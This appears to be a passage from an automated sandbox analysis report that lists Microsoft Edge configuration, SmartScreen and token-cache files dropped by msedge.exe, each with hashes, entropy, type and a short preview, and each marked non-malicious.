Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4f3c2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090729445129771
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+Stbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6rtbz8hu3VlXr4CRo1
MD5:	D21871F98AD59082AD51434D7A785674
SHA1:	CAAB829C69ABD37E3436B3639C9E1FFE67E629F3
SHA-256:	1D8D56AA42C165B112857FC4E0F608466365C12E900ADEE60F18CC44177FFED1
SHA-512:	96653C12D5C677B24AEADF9399D93790E7A5DDA98CAE7E3BB0CC31FBC503E005D820D929FDF177705FC448F3E7860C9FC67E4909C4B24ED685D8D215EDAB5E4D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0136336913297574
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXWCusqY:YWLSGTt1o9LuLgfGBPAzkVj/T8l3jj
MD5:	2EC06C9F79BB3C5A3DB03DA97BECFF03
SHA1:	05D07946A98BDE5104EB19CA3FBC562010BAF837
SHA-256:	F430CB7E22302DD7D5B819493F818EF6D45818E555BEE02ABB09CC03E9EA1B9C
SHA-512:	086B3D7BE2958BFFA85373EB6A4BC633FAFFBF6C6D56562B71893B1E85A707248D1E35D797A0F4E5C38CAD5B3F0A11E4ED97CB9BE170298A99C57E0069BE8877
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732641273087555}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\aaaa4c4c-9e92-4c96-85fd-f7490489f521.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44620
Entropy (8bit):	6.097030097709572
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBzwu1hDO6vP6O29O04ds2dEVAzD4cGoup1Xl3jVz6:z/Ps+wsI7ynEY6EVzchu3VlXr4CRo1
MD5:	B841FBD4059A67E21FC9BCBCA96FD8D7
SHA1:	FCDF393F0E8163C1531563B2D296D0BCE740A055
SHA-256:	6A7264EA80E53EEA51709E89F6D14E12CE51749F9583F34394F45BEF5C36DE0E
SHA-512:	F938BB70ED52D19E85C3995EEAFA5E0B2A96720E4EC88F6D74DB8C56B4B0013B4852B969C183E52BD5F7166063604643CFDB4CC8B3BF21152EC34058725C564B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bab28ec2-8434-4f59-995c-a09e23aa1001.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46000
Entropy (8bit):	6.089129819006388
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5d90aLu+hDO6vP6O29O04FUMJpkXFfDUIQmxgRCAonGoup1Xl3jz:cMk1rT8H19036EVqIQ9Ronhu3VlXr4i
MD5:	358B1F7BCC5B886E5A26EDF9EA1932B6
SHA1:	D3C3475C0BF52A5BD0972EA3FDCBCBBF1E476AE8
SHA-256:	4D065E87CD554EF062CFB2DEC4E0D707FF362BA3C2F891F30BD0194CDA113658
SHA-512:	C94D6F86F14F9D02BE4469B353A76E79477984322AEF21B5E152502E5E70D4023F1F69C85A6DFA3C4308FF898A3B564C385BECD1587055FD578C22DB84E998C8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732540472"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cbea5f75-ff73-4193-869b-a3e83f76e41d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44686
Entropy (8bit):	6.096674436213138
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBXwu1hDO6vP6O29O04FUMJpkXFfDUcGoup1Xl3jVu:z/Ps+wsI7yOEU6EVqchu3VlXr4CRo1
MD5:	9114C6FE656257DF18DF8D7476360AB0
SHA1:	66D0B8724DD11DDFFFD7749015AD4221A06D44BA
SHA-256:	A2A616B636C7D3C8BD65005728933EFAAFEFB4B61209833D30A7DA5E0C65D899
SHA-512:	37BEEE7F40FEF3143BB670BFAEA251340B49B8DE8A4E9D84C7B3A868BDA34FFDC2CC1237B7FA2FDC1408D1D71215AF2F14A68B0FA07372BD21937DB128679EEC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.840191617471989
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxtxl9Il8uOLe+ss0v/MAc1wUTc0VdJluTuWq4Td1rc:mYYb+f0v/Rcu4csJpzR
MD5:	D7039378EB7E820C01A649CB971D6A82
SHA1:	6BD3247BABE456190593B4A3CFBA20BF3A8872DE
SHA-256:	CF6EEBF62D3EE68E5D43678DEF5181DE8ABDAA26BC7A2196063B7351F81E41CC
SHA-512:	895D56E1AA02FC84B1A618B09BCE186AFDCA6299568C46E752DA1B98186656425BBD952EFD04868CB3891892AC3DDF4192F9D440D578EA593B21D52822154BCF
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.N.T.v.W.E.Q./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.